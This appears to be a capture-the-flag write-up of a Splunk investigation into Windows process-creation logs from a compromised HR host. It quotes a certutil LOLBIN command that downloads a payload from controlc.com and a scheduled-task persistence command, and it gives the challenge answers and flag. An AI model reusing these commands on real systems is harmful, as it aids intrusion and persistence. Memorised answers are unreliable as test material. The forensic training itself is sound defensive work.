

# Intro

One of the client's IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index **win\_eventlogs** for further investigation.

## About the Network Information

The network is divided into three logical segments. It will help in the investigation.

### **IT Department**

- James
- Moin
- Katrina

### **HR department**

- Haroon
- Chris
- Diana

### **Marketing department**

- Bell
- Amelia
- Deepak

Q1- How many logs are ingested from the month of March, 2022?

Q2- Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

Q3- Which user from the HR department was observed to be running scheduled tasks?

Q4- Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.

Q5- To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

Q6- What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

Q7- Which third-party site was accessed to download the malicious payload?

Q8- What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Q9- The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{.....}; what is that pattern?

Q10- What is the URL that the infected host connected to?

The screenshot shows a Splunk search interface with the following details:

- Search Bar:** index=win\_eventlogs sctasks UserName="Daina" OR UserName="Haroon" OR UserName="Chris.fort" (highlighted in green)
- Results Summary:** 1 event (3/1/22 12:00:00.000 AM to 4/1/22 12:00:00.000 AM) No Event Sampling
- Time Range:** during Mar 2022
- Event List:** One event is displayed in a table:

Time	Event
3/6/22 2:23:40:00 PM	{ [-] Category: Process Creation Channel: Windows CommandLine: /create /tn Officelupdate /tr "C:\Users\Chris.fort\AppData\Local\Temp\update.exe" /sc onstart EventID: 4688 EventTime: 2022-03-06T14:23:40Z EventType: AUDIT_SUCCESS HostName: HR_02 NewProcessId: 0x885Fd7 Opcode: Info ProcessID: 7933 ProcessName: C:\Windows\System32\sctasks.exe Severity: INFO SeverityValue: 2 SourceLabel: eventlog SourceModuleType: Win.event_log SourceName: Microsoft-Windows-Security-Auditing SubjectDomainName: cybertees.local UserName: <a href="#">Chris.fort</a> index: winlogs
- Fields Panel:** Shows selected fields (UserName, host, source, sourcetype) and interesting fields (Category, CommandLine, Date, EventID, EventTime, EventType, HostName, NewProcessId, Opcode, ProcessID, ProcessName, Severity, SeverityValue, SourceLabel, SourceModuleType, SourceName, SubjectDomainName, UserName).

**New Search**

```
1 index:win_eventlogs
2 (UserName="Chris.Fort" OR UserName="Daina" OR UserName="Haroon")
3 CommandLine="https"
4 | search certutil OR bitsadmin OR curl OR wget OR powershell OR mshta OR rundll32
5 | table Time UserName ProcessName CommandLine
```

during Mar 2022

1 event (3/1/22 12:00:00.000 AM to 4/1/22 12:00:00.000 AM) No Event Sampling ▾

Events Patterns Statistics (1) Visualization

20 Per Page ▾ Format Preview ▾

Time	User Name	Process Name	Command Line
haroon	C:\Windows\System32\certutil.exe	certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe	

Format Timeline ▾  + Zoom to Selection  1 day per column

List ▾ Format 20 Per Page ▾

Hide Fields All Fields

**ELECTED FIELDS**

- CommandLine 1
- EventID 1
- host 1
- ProcessID 1
- source 1
- sourcetype 1
- SubjectDomainName 1
- UserName 1

**INTERESTING FIELDS**

- Category 1
- Channel 1
- date\_hour 1
- date\_index 1
- date\_minute 1
- date\_month 1
- date\_second 1
- date\_wday 1
- date\_year 1
- date\_zone 1
- EventTime 1
- extracted\_EventType 1
- extracted\_Index 1
- HostName 1
- index 1
- process\_id 1
- process\_name 1
- process\_type 1
- process\_version 1
- raw 1
- raw\_index 1
- raw\_line 1
- raw\_offset 1
- raw\_text 1
- raw\_type 1
- raw\_version 1
- source 1
- sourcefile 1
- sourcepath 1
- sourceurl 1
- subjectdomainname 1
- username 1

> 3/4/22 10:38:28.000 AM [ [-] Category: Process Creation Channel: Windows CommandLine: certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe EventID: 4688 EventTime: 2022-03-04T10:38:28Z EventType: AUDIT\_SUCCESS HostName: HR\_01 NewProcessID: 0x82194b Opcode: Info ProcessID: 9912 ProcessName: C:\Windows\System32\certutil.exe Severity: INFO SeverityValue: 2 SourceModuleType: Win\_event\_log SourceModuleName: Microsoft-Windows-Security-Auditing SubjectDomainName: cybertees.local UserName: haroon index: winlogs

Show as raw text

CommandLine = certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe | EventID = 4688 | ProcessID = 9912 | SubjectDomainName = cybertees.local | UserName = haroon | host = cybertees source = win\_event\_logs.json | sourcetype = \_json

No security vendors flagged this URL as malicious

https://controlc.com/e4d11035 controlc.com

Status 200 Content type text/html; charset=UTF-8 Last Analysis Date 4 months ago

Reanalyze  More ▾

ControlC

flag.txt

```
THM{KJ&*H^B0}
```